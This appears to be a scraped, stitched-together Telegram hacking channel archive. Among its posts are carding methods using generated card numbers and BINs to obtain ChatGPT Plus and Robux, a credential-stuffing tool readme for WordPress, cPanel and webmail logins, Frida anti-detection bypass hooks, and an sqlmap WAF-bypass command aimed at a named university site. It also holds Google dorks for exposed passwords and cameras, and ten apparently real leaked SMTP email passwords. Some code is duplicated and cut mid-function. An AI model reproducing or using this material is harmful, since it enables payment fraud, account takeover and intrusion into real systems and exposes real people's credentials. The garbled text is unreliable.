579
订阅者
+224 小时
+337 天
+31730 天
帖子存档
Domain enumeration across TLDs.
#!/bin/bash
# Usage: ./TLD-Brute.sh <domain>
# echo <domain> | ./TLD-Brute.sh
# echo -e "domain1\ndomain2" | ./TLD-Brute.sh
# ./TLD-Brute.sh domain | grep -v "\.xyz"
get_domains() {
if [[ -n "$1" ]]; then
printf '%s\n' "$1"
else
[[ -t 0 ]] && { echo "Usage: $0 <domain> or echo domain | $0" >&2; exit 1; }
cat
fi
}
TLDS=$(curl -s "https://data.iana.org/TLD/tlds-alpha-by-domain.txt" | tail -n +2 | tr 'A-Z' 'a-z')
get_domains "$@" | while IFS= read -r DOMAIN; do
[[ -z "$DOMAIN" ]] && continue
echo "$TLDS" | sed "s|^|${DOMAIN}.|" | dnsx -silent -a -r 8.8.4.4,129.250.35.251,208.67.222.222
done⭐️CHATGPT PLUS 1MONTH METHOD
5154620057
Gen site : namso-gen.com
VPN: india + Indonesia
1. Connect VPN to india 2. Open Island app (or your phone’s app-cloner) so the session stays isolated 3. Go to payments.google.com (Log in with a fresh Gmail → add a generated card) 4. Open the ChatGPT app → log in with that same account Switch VPN to Indonesia 5. You will see chat gpt 1m plus free press and do the checkout This method is not tested by me
✅[STEP 1] REQUIREMENTS INSTALLATION
────────────────────────────────────
pip install requests beautifulsoup4 colorama
✅[STEP 2] PREPARE COMBO LIST
────────────────────────────────────
Format: username@domain.com:password
Example:
admin@example.com:123456
user@gmail.com@targetsite.com:password123
Note: Username can contain @ (emails supported)
✅[STEP 3] RUN THE TOOL
────────────────────────────────────
python main.py
✅[STEP 4] FEATURES ✔️
────────────────────────────────────
✓ Auto CMS Detection (WordPress, Joomla, WHMCS)
✓ Hosting Panels (cPanel, Plesk, DirectAdmin)
✓ Webmail (Roundcube, Webmail)
✓ Multi-threading (35 concurrent workers)
✓ Smart testing (only detected CMS)
✅[STEP 5] HOW IT WORKS
────────────────────────────────────
1. Load combo list
2. Detect CMS automatically (3-5 seconds)
3. Test only detected panel
4. Save working credentials to .txt files
✅[STEP 6] OUTPUT FILES ✅
────────────────────────────────────
→ Good_WordPress.txt
→ Good_Joomla.txt
→ Good_WHMCS.txt
→ Good_cPanel.txt
→ Good_Plesk.txt
→ Good_DirectAdmin.txt
→ Good_WebMail.txt
✅[STEP 7] SPEED OPTIMIZATION
────────────────────────────────────
Instead of testing 15+ panels per combo,
tool tests ONLY the detected CMS.
Result: 5x faster execution!
═══════════════════════════Frida Detection Bypass - Custom Codes Like Above
Bypassing First Checker Function
private static boolean checkForFridaFiles() {
String[] strArr = {"/data/local/tmp/frida-server", "/data/local/tmp/frida", "/data/local/tmp/re.frida.server"};
• It's kinda easy, just rename the Frida server file to another name, like: fsrv
Bypassing Second Checker Function
private static boolean checkForFridaPorts() {
int[] iArr = {27042, 27043};
• It's checking the ports that Frida runs on by default, which are 27042 and 27043. Simply, you should change the ports to something different:
adb forward tcp:27044 tcp:27042
adb forward tcp:27045 tcp:27043
# Please note that you should specify the port and use the -H option instead of -U (example)
frida -H 127.0.0.1:27044 -f (process name) -l anti-detection.js
Bypassing Third Checker Function
• It's kinda tricky because you'll see different codes in different targets. I can't send a code that bypasses all checker functions, but you can use the following code to get an idea and create your own target-specific bypasser code:
Java.perform(function() {
// Hook the file detection method
var fridaDetection = Java.use('PROCESSNAME.FridaDetection');
//This line finds and loads the FridaDetection class from the app’s code (the full class path is processname.path.FridaDetection).
//Java.use() gives access to the app's Java classes and methods, allowing you to modify or intercept them.
fridaDetection.checkForFridaFiles.implementation = function() {
console.log("Bypassed Frida file detection");
return false; // Always return false to bypass the check
};
// Hook the port detection method
fridaDetection.checkForFridaPorts.implementation = function() {
console.log("Bypassed Frida port detection");
return false; // Always return false to bypass the check
};
// Hook the process detection method
fridaDetection.checkForFridaServerProcesses.implementation = function() {
console.log("Bypassed Frida process detection");
return false; // Always return false to bypass the check
};
});
#blackh4t #hackingExample of Anti Frida Mechanism Code
public class FridaDetection {
private static final String TAG = "FridaDetection";
private static boolean checkForFridaFiles() {
String[] strArr = {"/data/local/tmp/frida-server", "/data/local/tmp/frida", "/data/local/tmp/re.frida.server"};
for (int i2 = 0; i2 < 3; i2++) {
String str = strArr[i2];
if (new File(str).exists()) {
StringBuilder sb = new StringBuilder();
sb.append("Frida file detected: ");
sb.append(str);
return true;
}
}
return false;
}
private static boolean checkForFridaPorts() {
int[] iArr = {27042, 27043};
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("netstat -an").getInputStream()));
while (true) {
String readLine = bufferedReader.readLine();
if (readLine == null) {
break;
}
for (int i2 = 0; i2 < 2; i2++) {
int i3 = iArr[i2];
if (readLine.contains(String.valueOf(i3))) {
StringBuilder sb = new StringBuilder();
sb.append("Frida port detected: ");
sb.append(i3);
return true;
}
}
}
} catch (IOException e2) {
Log.e(TAG, "Error checking for Frida ports", e2);
}
return false;
}
private static boolean checkForFridaServerProcesses() {
String readLine;
String[] strArr = {"frida-server", "frida"};
int i2 = 0;
while (i2 < 2) {
String str = strArr[i2];
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("ps").getInputStream()));
do {
readLine = bufferedReader.readLine();
if (readLine != null) {
}
} while (!readLine.contains(str));
StringBuilder sb = new StringBuilder();
sb.append("Frida process detected: ");
sb.append(str);
return true;
} catch (IOException e2) {
Log.e(TAG, "Error checking for Frida server processes", e2);
}
}
return false;
i2++;
}
public static void detectFrida() {
if (!checkForFridaServerProcesses() && !checkForFridaFiles() && !checkForFridaPorts()) {
} else {
throw new RuntimeException("null");
}
}
}
#Blackhat #hacking𝗕𝗜𝗡 𝗥𝗼𝗯𝗹𝗼𝘅 (𝗔𝗺𝗮𝘇𝗼𝗻 𝗠𝗲𝘁𝗵𝗼𝗱)
𝗕𝗜𝗡 : 457249013629xxxx
𝗗𝗮𝘁𝗲 : 07/2028
𝗖𝘃𝘃 : 000
𝗜𝗣 : 𝗨𝗡𝗜𝗧𝗘𝗗 𝗦𝗧𝗔𝗧𝗘𝗦 🇺🇸 𝗼𝗿 𝗦𝗣𝗔𝗜𝗡 🇪🇸
𝗡𝗼𝘁𝗲: Works best for orders of 500 or 1,000 Robux using Live Amazon or charged gateway. Good luck!
𝗕𝗜𝗡 𝗖𝗵𝗮𝘁𝗚𝗣𝗧 𝗣𝗿𝗲𝗺𝗶𝘂𝗺 𝗙𝗿𝗲𝗲 𝗳𝗼𝗿 3 𝗠𝗼𝗻𝘁𝗵𝘀 (𝗕𝗕𝗩𝗔 𝗠𝗲𝘁𝗵𝗼𝗱) ⭐️
𝗟𝗶𝗻𝗸: https://www.bbva.mx/chatgpt.html
𝗡𝗼𝘁𝗲: Use your real or virtual card. 𝗦𝘁𝗲𝗽 1: Activate VPN Install the free Urban VPN extension in your browser and connect to Mexico. 𝗦𝘁𝗲𝗽 2: Create an account Go to ChatGPT and sign up with a completely new Google account. 𝗦𝘁𝗲𝗽 3: Get the code Go to the Promotion Link, enter your email, and copy the 3-month free code given by the BBVA page. 𝗦𝘁𝗲𝗽 4: Redeem and pay $0 Apply the code in ChatGPT. On the checkout screen, change the country to your real location, enter your card details (the charge will be $0), and accept. 𝗦𝘁𝗲𝗽 5: Avoid charges Go to the payment settings in ChatGPT and click "Cancel subscription". This way you enjoy the 3 free months without worrying about being charged later.
s_enable("lfsvc")
r_set(r"SOFTWARE\Policies\Microsoft\Windows\Windows Search", "AllowCortana", 1)
r_set(r"SYSTEM\CurrentControlSet\Control\Terminal Server", "fDenyTSConnections", 0)
r_set(r"SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters", "DisabledComponents", 0)
try:
adapters = subprocess.check_output("powershell -Command \"Get-NetAdapter | Select-Object -ExpandProperty Name\"", shell=True).decode().strip().split('\n')
for adapter in adapters:
adapter = adapter.strip()
if adapter:
subprocess.run(f"powershell -Command \"Reset-NetAdapterAdvancedProperty -Name '{adapter}' -RegistryKeyword 'NetworkAddress'\"", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(f"powershell -Command \"Restart-NetAdapter -Name '{adapter}'\"", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except:
pass
def panel():
while True:
os.system('cls' if os.name == 'nt' else 'clear')
print("===================================================")
print(" Blackhat Russia ")
print(" sistema de privacidad ")
print(" https://t.me/BlackhatSyndicate ")
print("===================================================")
print("[1] ELIMINAR TELEMETRÍA DE MICROSOFT")
print("[2] BLOQUEAR CÁMARA Y MICRÓFONO AL NÚCLEO")
print("[3] FORZAR APAGADO DE UBICACIÓN REAL")
print("[4] DESTRUIR CORTANA Y ACCESO REMOTO")
print("[5] BLOQUEAR IPv6 (PREVENIR FUGAS DE IP)")
print("[6] RANDOMIZAR DIRECCIÓN MAC AHORA")
print("[7] ACTIVAR TODO (APLICAR 1 AL 6)")
print("[8] DESACTIVAR TODO (RESTAURACIÓN TOTAL)")
print("[9] SALIR")
print("===================================================")
c = input("SELECCIONA UN PROTOCOLO: ")
if c == '1':
kill_telemetry()
print(">> TELEMETRÍA NEUTRALIZADA.")
time.sleep(2)
elif c == '2':
kill_hardware()
print(">> HARDWARE BLOQUEADO.")
time.sleep(2)
elif c == '3':
kill_location()
print(">> SENSOR DE UBICACIÓN DESACTIVADO.")
time.sleep(2)
elif c == '4':
kill_cortana_remote()
print(">> CORTANA Y ACCESO REMOTO DESTRUIDOS.")
time.sleep(2)
elif c == '5':
disable_ipv6()
print(">> IPv6 BLOQUEADO. FUGAS MITIGADAS.")
time.sleep(2)
elif c == '6':
m = spoof_mac()
if m:
print(f">> MAC ALTERADA Y RED REINICIADA: {m}")
else:
print(">> ERROR AL ALTERAR MAC.")
time.sleep(3)
elif c == '7':
kill_telemetry()
kill_hardware()
kill_location()
kill_cortana_remote()
disable_ipv6()
spoof_mac()
print(">> APLICANDO TODO- MODO ACTIVADO @NoNaMeO57I6.")
time.sleep(3)
elif c == '8':
restore_all()
print(">> TODO DESACTIVADO. SISTEMA RESTAURADO.")
time.sleep(3)
elif c == '9':
break
if name == "main":
panel()s_enable("lfsvc")
r_set(r"SOFTWARE\Policies\Microsoft\Windows\Windows Search", "AllowCortana", 1)
r_set(r"SYSTEM\CurrentControlSet\Control\Terminal Server", "fDenyTSConnections", 0)
r_set(r"SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters", "DisabledComponents", 0)
try:
adapters = subprocess.check_output("powershell -Command \"Get-NetAdapter | Select-Object -ExpandProperty Name\"", shell=True).decode().strip().split('\n')
for adapter in adapters:
adapter = adapter.strip()
if adapter:
subprocess.run(f"powershell -Command \"Reset-NetAdapterAdvancedProperty -Name '{adapter}' -RegistryKeyword 'NetworkAddress'\"", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(f"powershell -Command \"Restart-NetAdapter -Name '{adapter}'\"", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except:
pass
def panel():
while True:
os.system('cls' if os.name == 'nt' else 'clear')
print("===================================================")
print(" t.me/NoNaMeO57I6 ")
print(" sistema de privacidad ")
print(" t.me/NoNaMeO57I6 ")
print("===================================================")
print("[1] ELIMINAR TELEMETRÍA DE MICROSOFT")
print("[2] BLOQUEAR CÁMARA Y MICRÓFONO AL NÚCLEO")
print("[3] FORZAR APAGADO DE UBICACIÓN REAL")
print("[4] DESTRUIR CORTANA Y ACCESO REMOTO")
print("[5] BLOQUEAR IPv6 (PREVENIR FUGAS DE IP)")
print("[6] RANDOMIZAR DIRECCIÓN MAC AHORA")
print("[7] ACTIVAR TODO (APLICAR 1 AL 6)")
print("[8] DESACTIVAR TODO (RESTAURACIÓN TOTAL)")
print("[9] SALIR")
print("===================================================")
c = input("SELECCIONA UN PROTOCOLO: ")
if c == '1':
kill_telemetry()
print(">> TELEMETRÍA NEUTRALIZADA.")
time.sleep(2)
elif c == '2':
kill_hardware()
print(">> HARDWARE BLOQUEADO.")
time.sleep(2)
elif c == '3':
kill_location()
print(">> SENSOR DE UBICACIÓN DESACTIVADO.")
time.sleep(2)
elif c == '4':
kill_cortana_remote()
print(">> CORTANA Y ACCESO REMOTO DESTRUIDOS.")
time.sleep(2)
elif c == '5':
disable_ipv6()
print(">> IPv6 BLOQUEADO. FUGAS MITIGADAS.")
time.sleep(2)
elif c == '6':
m = spoof_mac()
if m:
print(f">> MAC ALTERADA Y RED REINICIADA: {m}")
else:
print(">> ERROR AL ALTERAR MAC.")
time.sleep(3)
elif c == '7':
kill_telemetry()
kill_hardware()
kill_location()
kill_cortana_remote()
disable_ipv6()
spoof_mac()
print(">> APLICANDO TODO- MODO ACTIVADO @import_404.")
time.sleep(3)
elif c == '8':
restore_all()
print(">> TODO DESACTIVADO. SISTEMA RESTAURADO.")
time.sleep(3)
elif c == '9':
break
if name == "main":
panel()import ctypes
import sys
import os
import winreg
import subprocess
import time
import random
def check_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if not check_admin():
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
sys.exit()
def r_set(path, name, value, reg_type=winreg.REG_DWORD):
try:
winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, path)
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path, 0, winreg.KEY_WRITE)
winreg.SetValueEx(key, name, 0, reg_type, value)
winreg.CloseKey(key)
except:
pass
def s_disable(srv):
subprocess.run(f"sc stop {srv}", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(f"sc config {srv} start= disabled", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def s_enable(srv):
subprocess.run(f"sc config {srv} start= demand", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def kill_telemetry():
r_set(r"SOFTWARE\Policies\Microsoft\Windows\DataCollection", "AllowTelemetry", 0)
s_disable("DiagTrack")
s_disable("dmwappushservice")
s_disable("wuauserv")
def kill_hardware():
paths = [
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone"
]
for p in paths:
r_set(p, "Value", "Deny", winreg.REG_SZ)
def kill_location():
r_set(r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location", "Value", "Deny", winreg.REG_SZ)
s_disable("lfsvc")
def kill_cortana_remote():
r_set(r"SOFTWARE\Policies\Microsoft\Windows\Windows Search", "AllowCortana", 0)
r_set(r"SYSTEM\CurrentControlSet\Control\Terminal Server", "fDenyTSConnections", 1)
def disable_ipv6():
r_set(r"SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters", "DisabledComponents", 0xFF)
def generate_mac():
mac = [random.choice("02468ACE"), random.choice("0123456789ABCDEF")]
for _ in range(5):
mac.append(random.choice("0123456789ABCDEF"))
mac.append(random.choice("0123456789ABCDEF"))
return "".join(mac)
def spoof_mac():
new_mac = generate_mac()
cmd_get_adapters = "powershell -Command \"Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | Select-Object -ExpandProperty Name\""
try:
adapters = subprocess.check_output(cmd_get_adapters, shell=True).decode().strip().split('\n')
for adapter in adapters:
adapter = adapter.strip()
if adapter:
cmd_set_mac = f"powershell -Command \"Set-NetAdapterAdvancedProperty -Name '{adapter}' -RegistryKeyword 'NetworkAddress' -RegistryValue '{new_mac}'\""
subprocess.run(cmd_set_mac, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(f"powershell -Command \"Restart-NetAdapter -Name '{adapter}'\"", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return new_mac
except:
return None
def restore_all():
r_set(r"SOFTWARE\Policies\Microsoft\Windows\DataCollection", "AllowTelemetry", 1)
s_enable("DiagTrack")
s_enable("dmwappushservice")
s_enable("wuauserv")
paths = [
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location"
]
for p in paths:
r_set(p, "Value", "Allow", winreg.REG_SZ)📱 PYTHON 📱
import ctypes
import sys
import os
import winreg
import subprocess
import time
import random
def check_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if not check_admin():
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
sys.exit()
def r_set(path, name, value, reg_type=winreg.REG_DWORD):
try:
winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, path)
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path, 0, winreg.KEY_WRITE)
winreg.SetValueEx(key, name, 0, reg_type, value)
winreg.CloseKey(key)
except:
pass
def s_disable(srv):
subprocess.run(f"sc stop {srv}", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(f"sc config {srv} start= disabled", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def s_enable(srv):
subprocess.run(f"sc config {srv} start= demand", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def kill_telemetry():
r_set(r"SOFTWARE\Policies\Microsoft\Windows\DataCollection", "AllowTelemetry", 0)
s_disable("DiagTrack")
s_disable("dmwappushservice")
s_disable("wuauserv")
def kill_hardware():
paths = [
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone"
]
for p in paths:
r_set(p, "Value", "Deny", winreg.REG_SZ)
def kill_location():
r_set(r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location", "Value", "Deny", winreg.REG_SZ)
s_disable("lfsvc")
def kill_cortana_remote():
r_set(r"SOFTWARE\Policies\Microsoft\Windows\Windows Search", "AllowCortana", 0)
r_set(r"SYSTEM\CurrentControlSet\Control\Terminal Server", "fDenyTSConnections", 1)
def disable_ipv6():
r_set(r"SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters", "DisabledComponents", 0xFF)
def generate_mac():
mac = [random.choice("02468ACE"), random.choice("0123456789ABCDEF")]
for _ in range(5):
mac.append(random.choice("0123456789ABCDEF"))
mac.append(random.choice("0123456789ABCDEF"))
return "".join(mac)
def spoof_mac():
new_mac = generate_mac()
cmd_get_adapters = "powershell -Command \"Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | Select-Object -ExpandProperty Name\""
try:
adapters = subprocess.check_output(cmd_get_adapters, shell=True).decode().strip().split('\n')
for adapter in adapters:
adapter = adapter.strip()
if adapter:
cmd_set_mac = f"powershell -Command \"Set-NetAdapterAdvancedProperty -Name '{adapter}' -RegistryKeyword 'NetworkAddress' -RegistryValue '{new_mac}'\""
subprocess.run(cmd_set_mac, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(f"powershell -Command \"Restart-NetAdapter -Name '{adapter}'\"", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return new_mac
except:
return None
def restore_all():
r_set(r"SOFTWARE\Policies\Microsoft\Windows\DataCollection", "AllowTelemetry", 1)
s_enable("DiagTrack")
s_enable("dmwappushservice")
s_enable("wuauserv")
paths = [
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location"
]
for p in paths:
r_set(p, "Value", "Allow", winreg.REG_SZ)Not a bad free proxy on Telegram for those who don't use the regular one😎👨💻
MTPROTO
Not a bad free proxy on Telegram for those who don't use the regular one
MTPROTO
Easy WAF 🔤ypassed !
sqlmap -u 'https://cutm.ac.in/payu/skill/index.php?id=34' --batch --dbs --threads=5 --random-agent --risk=3 --level=5 --tamper=space2comment -v 3 --dbms MySQL
⚠️ WARNING:
These dorks can expose admin panels, databases, confidential files, logs, cameras, etc.
⚠️ NEVER use these dorks on sites you do not control or without permission.
---
📂 Dorks — access to sensitive files:
intitle:"index of" "backup.zip"
intitle:"index of" ".env"
intitle:"index of" "config.php"
intitle:"index of" "database.sql"
intitle:"index of" "credentials.txt"
🔐 Dorks that reveal passwords:
inurl:"/phpinfo.php" "SERVER["HTTP_AUTHORIZATION"]"
filetype:log intext:password | pass
filetype:env intext:DB_PASSWORD
intext:"Your password is" filetype:txt
inurl:admin filetype:xls intext:password
🎥 Dorks to access public IP cameras:
inurl:"/view.shtml"
inurl:"/video.cgi"
intitle:"Live View / - AXIS"
inurl:"/webcam.html"
intitle:"IPCam" inurl:"snap.jpg"
⚙️ Dorks that show admin panels:
intitle:"admin login"
intitle:"Login" inurl:admin
inurl:admin intitle:"dashboard"
inurl:"cpanel" intitle:"login"
inurl ":2082" OR inurl ":2083"
🛠️ Dorks for exposed devices and servers:
intitle:"Apache2 Ubuntu Default Page"
intitle:"Index of /" +passwd
intitle:"phpMyAdmin" inurl:"main.php"
inurl:"/solr/admin/" intitle:"Solr Admin"
intitle:"Welcome to nginx!"
📑 Dorks that expose confidential documents:
filetype:xls inurl:"email.xls"
filetype:pdf intext:"confidential"
filetype:docx intext:"proprietary"
filetype:csv intext:"email,password"
filetype:pdf inurl:"/payroll/"
🧪 Dorks to locate vulnerable applications:
inurl:"/wp-content/plugins/" intext:"vulnerable"
inurl:"/public/login.htm" intitle:"Login"
inurl:"/shell?cmd="
intitle:"VNC viewer" inurl:"5800"⚠️ WARNING:
These dorks can expose admin panels, databases, confidential files, logs, cameras, etc.
⚠️ NEVER use these dorks on sites you do not control or without permission.
---
📂 Dorks — access to sensitive files:
intitle:"index of" "backup.zip"
intitle:"index of" ".env"
intitle:"index of" "config.php"
intitle:"index of" "database.sql"
intitle:"index of" "credentials.txt"
🔐 Dorks that reveal passwords:
inurl:"/phpinfo.php" "SERVER["HTTP_AUTHORIZATION"]"
filetype:log intext:password | pass
filetype:env intext:DB_PASSWORD
intext:"Your password is" filetype:txt
inurl:admin filetype:xls intext:password
🎥 Dorks to access public IP cameras:
inurl:"/view.shtml"
inurl:"/video.cgi"
intitle:"Live View / - AXIS"
inurl:"/webcam.html"
intitle:"IPCam" inurl:"snap.jpg"
⚙️ Dorks that show admin panels:
intitle:"admin login"
intitle:"Login" inurl:admin
inurl:admin intitle:"dashboard"
inurl:"cpanel" intitle:"login"
inurl ":2082" OR inurl ":2083"
🛠️ Dorks for exposed devices and servers:
intitle:"Apache2 Ubuntu Default Page"
intitle:"Index of /" +passwd
intitle:"phpMyAdmin" inurl:"main.php"
inurl:"/solr/admin/" intitle:"Solr Admin"
intitle:"Welcome to nginx!"
📑 Dorks that expose confidential documents:
filetype:xls inurl:"email.xls"
filetype:pdf intext:"confidential"
filetype:docx intext:"proprietary"
filetype:csv intext:"email,password"
filetype:pdf inurl:"/payroll/"
🧪 Dorks to locate vulnerable applications:
inurl:"/wp-content/plugins/" intext:"vulnerable"
inurl:"/public/login.htm" intitle:"Login"
inurl:"/shell?cmd="
intitle:"VNC viewer" inurl:"5800"🔤otmail 🔤hecker + 2fa 🔤ypass - 🔤utlook -🔤otmail
Available
@NoNaMeO57I6😎👨💻
🔤alid Godaddy 🔤MTP :
smtpout.secureserver.net|465|hira@bonhommeproperties.com|Hira@BP2025
smtpout.secureserver.net|465|a.helmi@almalakiuae.com|Midomido@123
smtpout.secureserver.net|465|vanessa@scpartnership.com|Partnership2019
smtpout.secureserver.net|465|momik.shrestha@fbm.net.au|gN+LR2i_qnMr^Bn
smtpout.secureserver.net|465|w.huang@capricobio.com|Ajh11935
smtpout.secureserver.net|465|accounts1@keyaol.com|kay123456555
smtpout.secureserver.net|465|joseph@amidonfamilydentistry.com|$erP@nt5407
smtpout.secureserver.net|465|info@rowenavelasquezfijer.com|Teamfijer2023
smtpout.secureserver.net|465|elias@bonhommeproperties.com|eliasbonhomme@123
smtpout.secureserver.net|465|summer@rapataparts.com|#s5f4b88
😎👨💻
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
